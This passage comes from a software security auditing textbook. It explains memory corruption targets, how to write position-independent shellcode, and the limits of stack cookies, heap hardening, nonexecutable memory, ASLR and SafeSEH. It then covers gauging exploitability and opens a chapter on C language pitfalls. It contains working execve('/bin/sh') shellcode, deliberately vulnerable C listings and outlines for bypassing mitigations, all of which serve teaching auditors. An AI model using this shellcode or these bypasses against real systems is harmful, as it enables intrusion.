memory so that the application doesn't need static addresses for API functions 

at compile time. By targeting these structures, attackers can redirect 
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execution to an arbitrary location when a certain API function is called (for 

example, free()). 

 Exit handlers Exit handlers are a table of function pointers that are called when 

the process exits in a UNIX OS. By overwriting one of these values, it's 

possible to gain arbitrary execution when the process calls the exit() function 

or returns from the main() function. 

 Lock pointers Windows uses a set of function pointers in the process 

environment block (PEB) to prevent unsynchronized modification of process 

information by competing threads. These lock pointers can be overwritten and 

then triggered by certain types of exceptional conditions. 

 Exception handler routines The Windows PEB maintains an address for the 

unhandled exception filter routine. This routine is called when an exception 

isn't handled successfully by any other exception handler. A common 

technique is to use the list maintenance code to overwrite the unhandled 

exception routine when updating one part of the list (such as the previous 

element) and then cause a memory access violation when updating the other 

part of the list (the next element). This technique ensures that the unhandled 

exception filter is called immediately, assuming that another exception 

handler doesn't successfully catch the resulting access violation exception. 

 Function pointers Applications use function pointers for various reasons, such 

as calling functions from dynamically loaded libraries, for C++ virtual member 

functions, or for abstracting low-level worker functions in opaque structures. 

Overwriting application-specific function pointers can provide a reliable exploit 

against an application. 

Global and Static Data Overflows 

Global and static variables are used to store data that persists between different 

function calls, so they are generally stored in a different memory segment than stack 

and heap variables are. Normally, these locations don't contain general program 

runtime data structures, such as stack activation records and heap chunk data, so 

exploiting an overflow in this segment requires application-specific attacks similar to 

the vulnerability in Listing 5-2. Exploitability depends on what variables can be 

corrupted when the buffer overflow occurs and how the variables are used. For 

example, if pointer variables can be corrupted, the likelihood of exploitation increases, 

as this corruption introduces the possibility for arbitrary memory overwrites. 

7.1.3 Shellcode 

Buffer overflows are usually exploited by directing execution to a known location in 

memory where attacker-controlled data is stored. For an exploit to be successful, this 

location must contain executable machine code that allows attackers to perform 

malicious activities. This is achieved by constructing small snippets of machine code 

designed to launch a shell, connect back to the originating user, or do whatever the 

attacker chooses. At the time of this writing, the most common trend in shellcode 
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construction uses stubs capable of loading additional components on demand over a 

connected socket, as needed by an attacker on the other end. 

Writing the Code 

At the most basic level, shellcode is a small chunk of position-independent code that 

uses system APIs to achieve your objectives. To see how this is done, consider the 

simple case of spawning a shell in UNIX. In this case, the code you want to run is 

roughly the following: 

char *args[] = { "/bin/sh", NULL }; 

 

execve("/bin/sh", args, NULL); 

 

This simple code spawns a command shell when it runs. If this code were run in a 

network service, the socket descriptor the user is connected with would need to be 

duplicated over stdin, stdout, and optionally stderr as well. 

To construct the machine code required to spawn the shell, you need to understand 

how this code works at a lower level. The execve() function is exported by the 

standard C library, so a normal program would first locate the libc execve() 

implementation with a little help from the loader, and then call it. Because this 

functionality could be difficult to duplicate in reasonably sized shellcode, generally 

you want to look for a simpler solution. As it turns out, execve() is also a system call 

on UNIX systems, and all the libc function does is perform the system call. 

Invoking system calls on an Intel-based OS usually involves building an argument list 

(in registers or on the stack, depending on the OS), and then asking the kernel to 

perform a system call on behalf of the process. This can be done with a variety of 

methods. For Intel systems, the system call functionality can rely on a software 

interrupt, initiated by the int instruction; a call gate, invoked with an lcall; or 

special-purpose machine support, such as sysenter. For Linux and many BSD variants, 

the int 128 interrupt is reserved for system calls. When this interrupt is generated, 

the kernel handles it, determines that the process needs some system function 

performed, and carries out the requested task. The procedure for Linux systems is as 

follows: 

1.  Put the system call parameters in general-purpose registers starting at EBX. If a 

system call requires more than five parameters, additional parameters are placed 

on the stack. 

2.  Put the system call number of the desired system call in EAX. 
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3.  Use the int 128 instruction to perform the system call. 

So the assembly code would look something like this initially: 

xorl %eax, %eax    ; zero out EAX 

movl %eax, %edx    ; EDX = envp = NULL 

movl $address_of_shell_string, %ebx; EBX = path parameter 

movl $address_of_argv, %ecx; ECX = argv 

movb $0x0b         ; syscall number for execve() 

int $0x80          ; invoke the system call 

 

Nearly all functionality you need when you create shellcode consists of a series of 

system calls and follows the same basic principles presented here. In Windows, the 

system call numbers aren't consistent in OS versions, so most Windows shellcode 

loads system libraries and calls functions in those libraries. A hacker group known as 

Last Stage of Delirium (LSD) documented the basis for what's used to write most 

modern Windows shellcode at www.lsd-pl.net/projects/winasm.zip. 

Finding Your Code in Memory 

The constructed machine code snippets must be position independentthat is, they 

must be able to run successfully regardless of their location in memory. To 

understand why this is important, consider the example in the previous section; you 

need to provide the address of the argument array vector and the address of the 

string "/bin/sh" for the pathname parameter. By using absolute addresses, you limit 

your shellcode's reliability to a large degree and would need to modify it for every 

exploit you write. Therefore, you should have a method of determining these 

addresses dynamically, regardless of the process environment in which the code is 

running. 

Usually, on Intel x86 CPUs, the strings or data required by shellcode is supplied 

alongside the code and their address is calculated independently. To understand how 

this works, consider the semantics of the call instruction. This function implicitly 

saves a return address on the stack; which is the address of the first byte after the call 

instruction. Therefore, shellcode is often constructed with the following format: 

jmp end 

code: 

... shellcode ... 

end: 

call code 

.string "/bin/sh" 

 

http://www.lsd-pl.net/projects/winasm.zip
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This example jumps to the end of the code and then uses call to run code located 

directly after the jmp instruction. What is the point of this indirection? Basically, you 

have the relative address of the string "/bin/sh" located on the stack because of the 

call instruction implicitly pushing a return address on the stack. Hence, the address of 

"/bin/sh" can be calculated automatically, regardless of where the shellcode is 

located in the target application. Combining this with the information in the previous 

section, execve() shellcode would look something like this: 

jmp end 

code: 

popl %ebx        ; EBX = pathname argument 

xorl %eax, %eax  ; zero out EAX 

movl %eax, %edx  ; EDX = envp 

pushl %eax       ; put NULL in argv array 

pushl %ebx       ; put "/bin/sh" in argv array 

movl %esp, %ecx  ; ECX = argv 

movb $0x0b, %al  ; 0x0b = execve() system call 

int $0x80        ; system call 

call code 

.string "/bin/sh" 

 

As you can see, the code to start a shell is fairly straightforward; you simply need to 

fill EBX, ECX, and EDX with pathname, argv, and envp respectively, and then invoke a 

system call. This example is a simple shellcode snippet, but more complex shellcode 

is based on the same principles. 

 

7.1.4 Protection Mechanisms 

The basics covered so far represent viable exploitation techniques for some 

contemporary systems, but the security landscape is changing rapidly. Modern OSs 

often include preventive technologies to make it difficult to exploit buffer overflows. 

These technologies typically reduce the attacker's chance of exploiting a bug or at 

least reduce the chance that a program can be constructed to reliably exploit a bug on 

a target host. 

Chapter 3(? [????.]), "Operational Review," discussed several of these technologies 

from a high-level operations perspective. This section builds on Chapter 3(? [????.])'s 

coverage by focusing on technical details of common anticorruption protections and 

addressing potential and real weaknesses in these mechanisms. This discussion isn't 

a comprehensive study of protection mechanisms, but it does touch on the most 

commonly deployed ones. 

31051536.html
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Stack Cookies 

Stack cookies (also known as "canary values") are a method devised to detect and 

prevent exploitation of a buffer overflow on the stack. Stack cookies are a 

compile-time solution present in most default applications and libraries shipped with 

Windows XP SP2 and later. There are also several UNIX implementations of stack 

cookie protections, most notably ProPolice and Stackguard. 

Stack cookies work by inserting a random 32-bit value (usually generated at runtime) 

on the stack immediately after the saved return address and saved frame pointer but 

before the local variables in each stack frame, as shown in Figure 5-13. This cookie is 

inserted when the function is entered and is checked immediately before the function 

returns. If the cookie value has been altered, the program can infer that the stack has 

been corrupted and take appropriate action. This response usually involves logging 

the problem and terminating immediately. The stack cookie prevents traditional stack 

overflows from being exploitable, as the corrupted return address is never used. 

Figure 5-13. Stack frame with and without cookies 

 

 

 

Limitations 

This technology is effective but not foolproof. Although it prevents overwriting the 

saved frame pointer and saved return address, it doesn't protect against overwriting 

adjacent local variables. Figure 5-5(? [????.]) showed how overwriting local variables 

can subvert system security, especially when you corrupt pointer values the function 

uses to modify data. Modification of these pointer values usually results in the 

attacker seizing control of the application by overwriting a function pointer or other 

useful value. However, many stack protection systems reorder local variables, which 

can minimize the risk of adjacent variable overwriting. 
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Another attack is to write past the stack cookie and overwrite the parameters to the 

current function. The attacker corrupts the stack cookie by overwriting function 

parameters, but the goal of the attack is to not let the function return. In certain cases, 

overwriting function parameters allows the attacker to gain control of the application 

before the function returns, thus rendering the stack cookie protection ineffective. 

Although this technique seems as though it would be useful to attackers, optimization 

can sometimes inadvertently eliminate the chance of a bug being exploited. When a 

variable value is used frequently, the compiler usually generates code that reads it off 

the stack once and then keeps it in a register for the duration of the function or the 

part of the function in which the value is used repeatedly. So even though an 

argument or local variable might be accessed frequently after an overflow is triggered, 

attackers might not be able to use that argument to perform arbitrary overwrites. 

Another similar technique on Windows is to not worry about the saved return address 

and instead shoot for an SEH overwrite. This way, the attacker can corrupt SEH 

records and trigger an access violation before the currently running function returns; 

therefore, attacker-controlled code runs and the overflow is never detected. 

Finally, note that stack cookies are a compile-time solution and might not be a 

realistic option if developers can't recompile the whole application. The developers 

might not have access to all the source code, such as code in commercial libraries. 

There might also be issues with making changes to the build environment for a large 

application, especially with hand-optimized components. 

Heap Implementation Hardening 

Heap overflows are typically exploited through the unlinking operations performed by 

the system's memory allocation and deallocation routines. The list operations in 

memory management routines can be leveraged to write to arbitrary locations in 

memory and seize complete control of the application. In response to this threat, a 

number of systems have hardened their heap implementations to make them more 

resistant to exploitation. 

Windows XP SP2 and later have implemented various protections to ensure that heap 

operations don't inadvertently allow attackers to manipulate the process in a harmful 

manner. These mechanisms include the following: 

 An 8-bit cookie is stored in each heap header structure. An XOR operation 

combines this cookie with a global heap cookie, and the heap chunk's address 

divided by 8. If the resulting value is not 0, heap corruption has occurred. 

Because the address of the heap chunk is used in this operation, cookies 

shouldn't be vulnerable to brute-force attacks. 

 Checks are done whenever an unlink operation occurs to ensure that the 

previous and next elements are indeed valid. Specifically, both the next and 
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previous elements must point back to the current element about to be 

unlinked. If they don't, the heap is assumed to be corrupt and the operation is 

aborted. 

The UNIX glibc heap implementation has also been hardened to prevent easy heap 

exploitation. The glibc developers have added unlink checks to their heap 

management code, similar to the Windows XP SP2 defenses. 

Limitations 

Heap protection technologies aren't perfect. Most have weaknesses that still allow 

attackers to leverage heap data structures for reliable (or relatively reliable) 

exploitation. Some of the published works on defeating Windows heap protection 

include the following: 

 "Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass" by 

Alexander Anisimov 

(www.maxpatrol.com/defeating-xpsp2-heap-protection.htm) 

 "A New Way to Bypass Windows Heap Protections" by Nicolas Falliere 

(www.securityfocus.com/infocus/1846) 

 "Windows Heap Exploitation" by Oded Horovitz and Matt Connover 

(www.cybertech.net/~sh0ksh0k/heap/XPSP2%20Heap%20Exploitation.ppt) 

UNIX glibc implementations have undergone similar scrutiny. One useful resource is 

"The Malloc Maleficarum" by Phantasmal Phantasmagoria 

(www.securityfocus.com/archive/1/413007/30/0/threaded). 

The most important limitation of these heap protection mechanisms is that they 

protect only the internal heap management structures. They don't prevent attackers 

from modifying application data on the heap. If you are able to modify other 

meaningful data, exploitation is usually just a matter of time and effort. Modifying 

program variables is difficult, however, as it requires specific variable layouts. An 

attacker can create these layouts in many applications, but it isn't always a reliable 

form of exploitationespecially in multithreaded applications. 

Another point to keep in mind is that it's not uncommon for applications to implement 

their own memory management strategies on top of the system allocation routines. 

In this situation, the application in question usually requests a page or series of pages 

from the system at once and then manages them internally with its own algorithm. 

This can be advantageous for attackers because custom memory-management 

algorithms are often unprotected, leaving them vulnerable to variations on classic 

heap overwrite attacks. 

Nonexecutable Stack and Heap Protection 

http://www.maxpatrol.com/defeating-xpsp2-heap-protection.htm
http://www.securityfocus.com/infocus/1846
http://www.cybertech.net/~sh0ksh0k/heap/XPSP2%20Heap%20Exploitation.ppt
http://www.securityfocus.com/archive/1/413007/30/0/threaded
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Many CPUs provide fine-grained protection for memory pages, allowing the CPU to 

mark a page in memory as readable, writable, or executable. If the program keeps its 

code and data completely separate, it's possible to prevent shellcode from running by 

marking data pages as nonexecutable. By enforcing nonexecutable protections, the 

CPU prevents the most popular exploitation method, which is to transfer control flow 

to a location in memory where attacker-created data already resides. 

Note 

Intel CPUs didn't enforce nonexecutable memory pages until recently (2004). Some 

interesting workarounds were developed to overcome this limitation, most notably by 

the PaX development team (now part of the GR-Security team). Documentation on 

the inner workings of PaX is available at http://pax.grsecurity.net/. 

 

 

Limitations 

Because nonexecutable memory is enforced by the CPU, bypassing this protection 

directly isn't feasiblegenerally, the attacker is completely incapacitated from directing 

execution to a location on the stack or the heap. However, this does not prevent 

attackers from returning to useful code in the executable code sections, whether it's 

in the application being exploited or a shared library. One popular technique to 

circumvent these protections is to have a series of return addresses constructed on 

the stack so that the attacker can make multiple calls to useful API functions. Often, 

attackers can return to an API function for unprotecting a region of memory with data 

they control. This marks the target page as executable and disables the protection, 

allowing the exploit to run its own shellcode. 

In general, this protection mechanism makes exploiting protected systems more 

difficult, but sophisticated attackers can usually find a way around it. With a little 

creativity, the existing code can be spliced, diced, and coerced into serving the 

attacker's purpose. 

Address Space Layout Randomization 

Address space layout randomization (ASLR) is a technology that attempts to 

mitigate the threat of buffer overflows by randomizing where application data and 

code is mapped at runtime. Essentially, data and code sections are mapped at a 

(somewhat) random memory location when they are loaded. Because a crucial part of 

buffer overflow exploitation involves overwriting key data structures or returning to 

specific places in memory, ASLR should, in theory, prevent reliable exploitation 

because attackers can no longer rely on static addresses. Although ASLR is a form of 

security by obscurity, it's a highly effective technique for preventing exploitation, 

http://pax.grsecurity.net/
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especially when used with some of the other preventative technologies already 

discussed. 

Limitations 

Defeating ASLR essentially relies on finding a weak point in the ASLR implementation. 

Attackers usually attempt to adopt one of the following approaches: 

 Find something in memory that's in a static location despite the ASLR. No 

matter what the static element is, it's probably useful in one way or another. 

Examples of statically located elements might include base executables that 

don't contain relocation information (so the loader might not be able to 

relocate it), specialized data structures present in all mapped processes (such 

as the Windows PEB and the Linux vsyscall page), the loader itself, and 

nonrelocatable shared libraries. If ASLR fails to randomize any specific part of 

the process, it can be relied on and potentially used to undermine the ASLR 

protection. 

 Brute force where possible. In a lot of cases, data elements are shifted around 

in memory but not by a large amount. For example, the current Linux 

exec-shield ASLR maps the stack at a random location; however, closer 

inspection of the code shows these mappings include only 256 possible 

locations. This small set of possible locations doesn't provide for a large 

randomness factor, and most ASLR implementations don't randomize a child 

process's memory layout. This lack of randomness creates the potential for a 

brute force attack when a vulnerable service creates child processes to service 

requests. An attacker can send requests for each possible offset and 

eventually achieve successful exploitation when the correct offset is found. 

SafeSEH 

Modern Windows systems (XP SP2+, Windows 2003, Vista) implement protection 

mechanisms for the SEH structures located on the stack. When an exception is 

triggered, the exception handler target addresses are examined before they are 

called to ensure that every one is a valid exception handler routine. At the time of this 

writing, the following procedure determines an exception handler's validity: 

1.  Get the exception handler address, and determine which module (DLL or 

executable) the handler address is pointing into. 

2.  Check whether the module has an exception table registered. An exception table 

is a table of valid exception handlers that can legitimately be entered in an 

_EXCEPTION_REGISTRATION structure. This table is optional and modules might omit 

it. In this case, the handler is assumed to be valid and can be called. 

3.  If the exception table exists and the handler address in the 
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_EXCEPTION_REGISTRATION structure doesn't match a valid handler entry, the 

structure is deemed corrupt and the handler isn't called. 

Limitations 

SafeSEH protection is a good complement to the stack cookies used in recent 

Windows releases, in that it prevents attackers from using SEH overwrites as a 

method for bypassing the stack cookie protection. However, as with other protection 

mechanisms, it has had weaknesses in the past. David Litchfield of Next Generation 

Security Software (NGSSoftware) wrote a paper detailing some problems with early 

implementations of SafeSEH that have since been addressed (available at 

www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf). Primary 

methods for bypassing SafeSEH included returning to a location in memory that 

doesn't belong to any module (such as the PEB), returning into modules without an 

exception table registered, or abusing defined exception handlers that might allow 

indirect running of arbitrary code. 

Function Pointer Obfuscation 

Long-lived function pointers are often the target of memory corruption exploits 

because they provide a direct method for seizing control of program execution. One 

method of preventing this attack is to obfuscate any sensitive pointers stored in 

globally visible data structures. This protection mechanism doesn't prevent memory 

corruption, but it does reduce the probability of a successful exploit for any attack 

other than a denial of service. For example, you saw earlier that an attacker might be 

able to leverage function pointers in the PEB of a running Windows process. To help 

mitigate this attack, Microsoft is now using the EncodePointer(), DecodePointer(), 

EncodeSystemPointer(), and DecodeSystemPointer() functions to obfuscate many of 

these values. These functions obfuscate a pointer by combining its pointer value with 

a secret cookie value using an XOR operation. Recent versions of Windows also use 

this anti-exploitation technique in parts of the heap implementation. 

Limitations 

This technology certainly raises the bar for exploit developers, especially when 

combined with other technologies, such as ASLR and nonexecutable memory pages. 

However, it's not a complete solution in itself and has only limited use. Attackers can 

still overwrite application-specific function pointers, as compilers currently don't 

encode function pointers the application uses. An attacker might also be able to 

overwrite normal unencoded variables that eventually provide execution control 

through a less direct vector. Finally, attackers might identify circumstances that 

redirect execution control in a limited but useful way. For example, when 

user-controlled data is in close proximity to a function pointer, just corrupting the low 

byte of an encoded function pointer might give attackers a reasonable chance of 

http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
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running arbitrary code, especially when they can make repeated exploit attempts 

until a successful value is identified. 

7.1.5 Assessing Memory Corruption Impact 

Now that you're familiar with the landscape of memory corruption, you need to know 

how to accurately assess the risk these vulnerabilities represent. A number of factors 

affect how exploitable a vulnerability is. By being aware of these factors, code 

auditors can estimate how serious a vulnerability is and the extent to which it can be 

exploited. Can it be used just to crash the application? Can arbitrary code be run? The 

only way to know for certain is to write a proof-of-concept exploit, but that approach 

can be far too time consuming for even a moderate-sized application assessment. 

Instead, you can reasonably estimate exploitability by answering a few questions 

about the resulting memory corruption. This approach is not as definitive as a 

proof-of-concept exploit, but it's far less time consuming, making it adequate for 

most assessments. 

The Real Cost of Fixing Vulnerabilities 

You might be surprised at the amount of resistance you can encounter when 

disclosing vulnerabilities to vendorseven vendors who specifically hired you 

to perform an assessment. Vendors often say that potential memory 

corruption bugs aren't exploitable or aren't problems for some reason or 

another. However, memory corruption affects an application at its most 

basic level, so all instances need to be given serious consideration. Indeed, 

history has shown that attackers and security researchers alike have come 

up with ingenious ways to exploit the seemingly unexploitable. The old adage 

"where there's a will, there's a way" comes to mind, and when it comes to 

compromising computer systems, there's definitely a lot of will. 

Therefore, most auditors think that software vendors should treat all issues 

as high priority; after all, why wouldn't vendors want their code to be as 

secure as possible and not fix problems as quickly as they can? The truth is 

that there's always a price attached to fixing software bugs, including 

developer time, patch deployment cost, and possible product recalls or 

reissues. Consider, for example, the cost of distributing a vulnerability 

update to a widely deployed embedded system, like a smart card or cell 

phone. Updating these embedded systems often requires hardware 

modifications or some other intervention by a qualified technician. A 

company would be irresponsible to incur the costs associated with an update 

if it doesn't have a reasonable expectation that the bug is exploitable. 
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Where Is the Buffer Located in Memory? 

The location of the buffer in memory is important; it affects what choices an attacker 

has when trying to seize control of the process. Variables are stored mainly in three 

memory areas: stack, heap, and persistent data (including static and global 

variables). However, different OSs often further segment these three regions or add 

new regions. There might be distinctions between initialized and uninitialized global 

data, or the system might place thread local storage (TLS) at a special location. Also, 

shared libraries typically have their own uninitialized and initialized data mapped into 

the process memory immediately after their program code. When determining 

exploitability, you need to keep track of where the memory corruption occurs and 

what special considerations apply. This task might include conducting some additional 

research to understand the process memory layout for a particular OS. 

What Other Data Is Overwritten? 

Memory corruption might not be isolated to just the variables an attacker is targeting. 

It can also overwrite other variables that might complicate the exploitation process. 

This happens commonly when trying to exploit corruption on the process stack. You 

already know that vulnerabilities in the stack segment are most often exploited by 

overwriting the saved program counter. It's not always that straightforward, however; 

often attackers overwrite local variables before overwriting the saved program 

counter, which can complicate exploitation, as shown in Listing 5-4. 

Listing 5-4. Overflowing into Local Variables 

int dostuff(char *login) 

{ 

    char *ptr = (char *)malloc(1024); 

    char buf[1024]; 

 

    ... 

    strcpy(buf, login); 

    ... 

 

    free(ptr); 

 

    return 0; 

} 

 

This example has a small issue: Although attackers can overwrite the saved program 

counter, they also overwrite the ptr variable, which gets freed right before the 

function returns. This means attackers must overwrite ptr with a location in memory 

that's valid and doesn't result in a crash in the call to free(). Although this method 
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makes it possible for attackers to exploit the call to free(), the attack method is more 

complicated than a simple program counter overwrite (especially if there's no 

user-controlled data at a static location in memory). 

When evaluating the risk of buffer overflow vulnerabilities, pay special attention to 

any variables in the overflow path that mitigate exploit attempts. Also, remember 

that the compiler might reorder the variable layout during compilation, so you might 

need to check the binary to confirm exploitability. 

Note 

Sometimes more than one function return is required for a bug to be exploitable. For 

example, OSs running on Sun SPARC CPUs often require two function returns because 

of the way SPARC register windows work. 

 

 

How Many Bytes Can Be Overwritten? 

You need to take into account how many bytes the buffer overflows and how much 

control users have over the size of the overflow. Overflows of too few or too many 

bytes can make the exploit a lot harder. Obviously, the ideal situation for an attacker 

is to choose an arbitrary length of data to overflow. 

Sometimes an attacker can overflow a buffer by a fixed amount, which provides fewer 

options, but successful exploitation is still likely. If only a small number of bytes can 

be overflowed, exploitability depends on what data is corrupted. If the attacker is able 

to corrupt only an adjacent variable in memory that's never used again, the bug is 

probably unexploitable. Obviously, the less memory the attacker can corrupt, the less 

likely it is that the bug is exploitable. 

Conversely, if attackers can overflow by a fixed amount that happens to be very large, 

the bug invariably results in corrupting a huge part of the program's memory and will 

almost certainly crash the process. In some cases, when a signal handler or exception 

handler can be corrupted, attackers can exploit this situation and gain control of the 

process after an exception has occurred. The most prevalent example is large 

stack-based overflows in Windows, as attackers can overwrite SEH structures 

containing function pointers that are accessed when an exception occurs. 

Additionally, some bugs can result in multiple writes to arbitrary locations in memory. 

Although often only one overwrite is possible, if multiple overwrites can be performed, 

an attacker has more leverage in choosing how to exploit the vulnerable program. For 

example, with format string vulnerabilities, attackers can often write to as many 

arbitrary locations as they choose, increasing the likelihood of successful exploitation. 
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Note 

Sometimes a 1- or 2-byte overwrite is easier to exploit than a 4-byte overwrite. For 

example, say you overwrite a pointer to an object composed of several pointers 

followed by a buffer with data you control. In this case, the least significant byte of the 

pointer value could be overwritten so that the data buffer in the object is pointed to 

rather than the object itself. You could arbitrarily change the state of any object 

property and probably exploit the bug quite reliably. 

 

 

What Data Can Be Used to Corrupt Memory? 

Some memory corruption vulnerabilities don't allow direct control of the data used to 

overwrite memory. The data might be restricted based on how it's used, as with 

character restrictions, single-byte overwrites, or attacker-malleable calls to memset(). 

Listing 5-5 shows an example of a vulnerability in which memory is overwritten with 

data the attacker doesn't control. 

Listing 5-5. Indirect Memory Corruption 

int process_string(char *string) 

{ 

    char **tokens, *ptr; 

    int tokencount; 

 

    tokens = (char **)calloc(64, sizeof(char *)); 

 

    if(!tokens) 

        return -1; 

 

    for(ptr = string; *ptr;){ 

        int c; 

 

        for(end = ptr; *end && !isspace(end); end++); 

 

        c = *end; 

        *end = '\0'; 

 

       tokens[tokencount++] = ptr; 

 

        ptr = (c == 0 ? end : end + 1); 

    } 

 

    ... 
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This code has a buffer overflow in the bolded line manipulating the tokens array. The 

data used to overwrite memory can't be controlled directly by attackers, but the 

overwritten memory includes pointers to attacker-controllable data. This could make 

exploitation even easier than using a standard technique. If a function pointer is 

overwritten, for example, attackers require no memory layout information because 

the function pointer can be replaced with a pointer to attacker-controlled data. 

However, exploitation could be more complicated if, for example, a heap block header 

or other complex structure is overwritten. 

Off-by-one vulnerabilities are one of the most common vulnerabilities involving 

overwritten data that an attacker doesn't control. Listing 5-6 shows an example of an 

off-by-one vulnerability. 

Listing 5-6. Off-by-One Overwrite 

struct session { 

    int sequence; 

    int mac[MAX_MAC]; 

    char *key; 

}; 

 

int delete_session(struct session *session) 

{ 

    memset(session->key, 0, KEY_SIZE); 

    free(session->key); 

    free(session); 

} 

 

int get_mac(int fd, struct session *session) 

{ 

    unsigned int i, n; 

 

    n = read_network_integer(fd); 

 

    if(n > MAX_MAC) 

        return 1; 

 

    for(i = 0; i <= n; i++) 

        session->mac[i] = read_network_integer(fd); 

 

    return 0; 

} 
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If attackers specify the length of mac to be exactly MAX_MAC, the get_mac() function 

reads one more element than it has allocated space for (as shown in the bolded line). 

In this case, the last integer read in overwrites the key variable. During the 

delete_session() function, the key variable is passed to memset before it's deleted, 

which allows attackers to overwrite an arbitrary location in memory, but only with 

NUL bytes. Exploiting this vulnerability is complicated because attackers can't choose 

what data the memory is overwritten with. In addition, the attacker-supplied memory 

location is subsequently freed, which means that attack would most likely be directed 

at the memory-management routines. Performing this attack successfully could be 

extremely difficult, especially in multithreaded applications. 

Listings 5-5 and 5-6 show how attackers might have difficulty exploiting a 

vulnerability when the overwritten data can't be controlled. When examining similar 

issues, you need to determine what's included in the overwritten data and whether it 

can be controlled by attackers. Usually, attackers have fairly direct control over the 

data being written or can manipulate the resulting corruption to access 

attacker-controlled data. 

Are Memory Blocks Shared? 

Occasionally, bugs surface in applications in which a memory manager erroneously 

hands out the same block of memory more than once, even though it's still in use. 

When this happens, two or more independent parts of the application use the memory 

block with the expectation that they have exclusive access to it, when in fact they 

don't. These vulnerabilities are usually caused by one of two errors: 

 A bug in the memory-management code 

 The memory-management API being used incorrectly 

These types of vulnerabilities can also lead to remote execution; however, 

determining whether memory-block-sharing vulnerabilities are exploitable is usually 

complicated and application specific. One reason is that attackers might not be able to 

accurately predict what other part of the application gets the same memory block and 

won't know what data to supply to perform an attack. In addition, there might be 

timing issues with the application, particularly multithreaded software servicing a 

large number of clients whenever they happen to connect. Accepting the difficulties, 

there are procedures for exploiting these vulnerabilities, so they shouldn't be 

regarded as low priority without justification. 

A similar memory corruption can occur in which a memory block is allocated only once 

(the correct behavior), but then that memory block is handed off to two concurrently 

running threads with the assumption of mutually exclusive access. This type of 
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vulnerability is largely caused by synchronization issues and is covered extensively in 

Chapter 13(? [????.]), "Synchronization and State." 

What Protections Are in Place? 

After you know the details of a potentially exploitable memory corruption 

vulnerability, you need to consider any mitigating factors that might prevent 

exploitation. For example, if a piece of software is going to run only on Windows XP 

SP2+, you know that stack cookies and SafeSEH are present, so a typical stack 

overflow might not be exploitable. Of course, you can't discount memory corruption 

just because protective measures are in place. It's quite possible that an attacker 

could find a way to subvert SafeSEH by using an unsafe loaded module or overwriting 

a function parameter to subvert stack cookies. However, you need to account for 

these protective measures and try to gauge the likelihood of an attacker 

circumventing them and reliably exploiting the system. 

 

7.1.6 Summary 

This chapter has explained how memory corruption occurs and how it can affect the 

state of an application. In particular, you've seen how attackers can leverage memory 

corruption bugs to seize control of applications and perform malicious activities. This 

knowledge is essential as you assess application security vulnerabilities because it 

allows you to accurately determine the likelihood of an attacker exploiting a particular 

memory corruption issue. However, memory corruption exploits are an entire field of 

study on their own, and the state of the art is constantly changing to find new ways to 

exploit the previously unexploitable. As a reviewer, you should regard all memory 

corruption issues as potentially serious vulnerabilities until you can prove otherwise. 

7.2 Chapter 6.  C Language Issues 

Chapter 6. C Language Issues 

"One day you will understand." 

Neel Mehta, Senior Researcher, Internet Security Systems X-Force 

7.2.1 Introduction 

When you're reviewing software to uncover potential security holes, it's important to 

understand the underlying details of how the programming language implements 

data types and operations, and how those details can affect execution flow. A code 

reviewer examining an application binary at the assembly level can see explicitly how 

31051536.html
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data is stored and manipulated as well as the exact implications of an operation on a 

piece of data. However, when you're reviewing an application at the source code level, 

some details are abstracted and less obvious. This abstraction can lead to the 

introduction of subtle vulnerabilities in software that remain unnoticed and 

uncorrected for long periods of time. A thorough auditor should be familiar with the 

source language's underlying implementation and how these details can lead to 

security-relevant conditions in border cases or exceptional situations. 

This chapter explores subtle details of the C programming language that could 

adversely affect an application's security and robustness. Specifically, it covers the 

storage details of primitive types, arithmetic overflow and underflow conditions, type 

conversion issues, such as the default type promotions, signed/unsigned conversions 

and comparisons, sign extension, and truncation. You also look at some interesting 

nuances of C involving unexpected results from certain operators and other 

commonly unappreciated behaviors. Although this chapter focuses on C, many 

principles can be applied to other languages. 

 

7.2.2 C Language Background 

This chapter deals extensively with specifics of the C language and uses terminology 

from the C standards. You shouldn't have to reference the standards to follow this 

material, but this chapter makes extensive use of the public final draft of the C99 

standard (ISO/IEC 9899:1999), which you can find at 

www.open-std.org/jtc1/sc22/wg14/www/standards. 

The C Rationale document that accompanies the draft standard is also useful. 

Interested readers should check out Peter Van der Linden's excellent book Expert C 

Programming (Prentice Hall, 1994(? [????.])) and the second edition of Kernighan 

and Ritchie's The C Programming Language (Prentice Hall, 1988(? [????.])). You 

might also be interested in purchasing the final version of the ISO standard or the 

older ANSI standard; both are sold through the ANSI organization's Web site 

(www.ansi.org). 

Although this chapter incorporates a recent standard, the content is targeted toward 

the current mainstream use of C, specifically the ANSI C89/ISO 90 standards. 

Because low-level security details are being discussed, notes on any situations in 

which changes across versions of C are relevant have been added. 

Occasionally, the terms "undefined behavior" and "implementation-defined behavior" 

are used when discussing the standards. Undefined behavior is erroneous behavior: 

conditions that aren't required to be handled by the compiler and, therefore, have 

unspecified results. Implementation-defined behavior is behavior that's up to the 

http://www.open-std.org/jtc1/sc22/wg14/www/standards
http://www.ansi.org/
31051536.html
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underlying implementation. It should be handled in a consistent and logical manner, 

and the method for handling it should be documented. 

7.2.3 Data Storage Overview 

Before you delve into C's subtleties, you should review the basics of C 

typesspecifically, their storage sizes, value ranges, and representations. This section 

explains the types from a general perspective, explores details such as binary 

encoding, twos complement arithmetic, and byte order conventions, and winds up 

with some pragmatic observations on common and future implementations. 

The C standards define an object as a region of data storage in the execution 

environment; its contents can represent values. Each object has an associated type: 

a way to interpret and give meaning to the value stored in that object. Dozens of 

types are defined in the C standards, but this chapter focuses on the following: 

 Character types There are three character types: char, signed char, and 

unsigned char. All three types are guaranteed to take up 1 byte of storage. 

Whether the char type is signed is implementation defined. Most current 

systems default to char being signed, although compiler flags are usually 

available to change this behavior. 

 Integer types There are four standard signed integer types, excluding the 

character types: short int, int, long int, and long long int. Each standard 

type has a corresponding unsigned type that takes the same amount of 

storage. (Note: The long long int type is new to C99.) 

 Floating types There are three real floating types and three complex types. 

The real floating types are float, double, and long double. The three 

complex types are float _Complex, double_Complex, and long double 

_Complex. (Note: The complex types are new to C99.) 

 Bit fields A bit field is a specific number of bits in an object. Bit fields can be 

signed or unsigned, depending on their declaration. If no sign type specifier is 

given, the sign of the bit field is implementation dependent. 

Note 

Bit fields might be unfamiliar to some programmers, as they usually aren't present 

outside network code or low-level code. Here's a brief example of a bit field: 

struct controller 

{ 

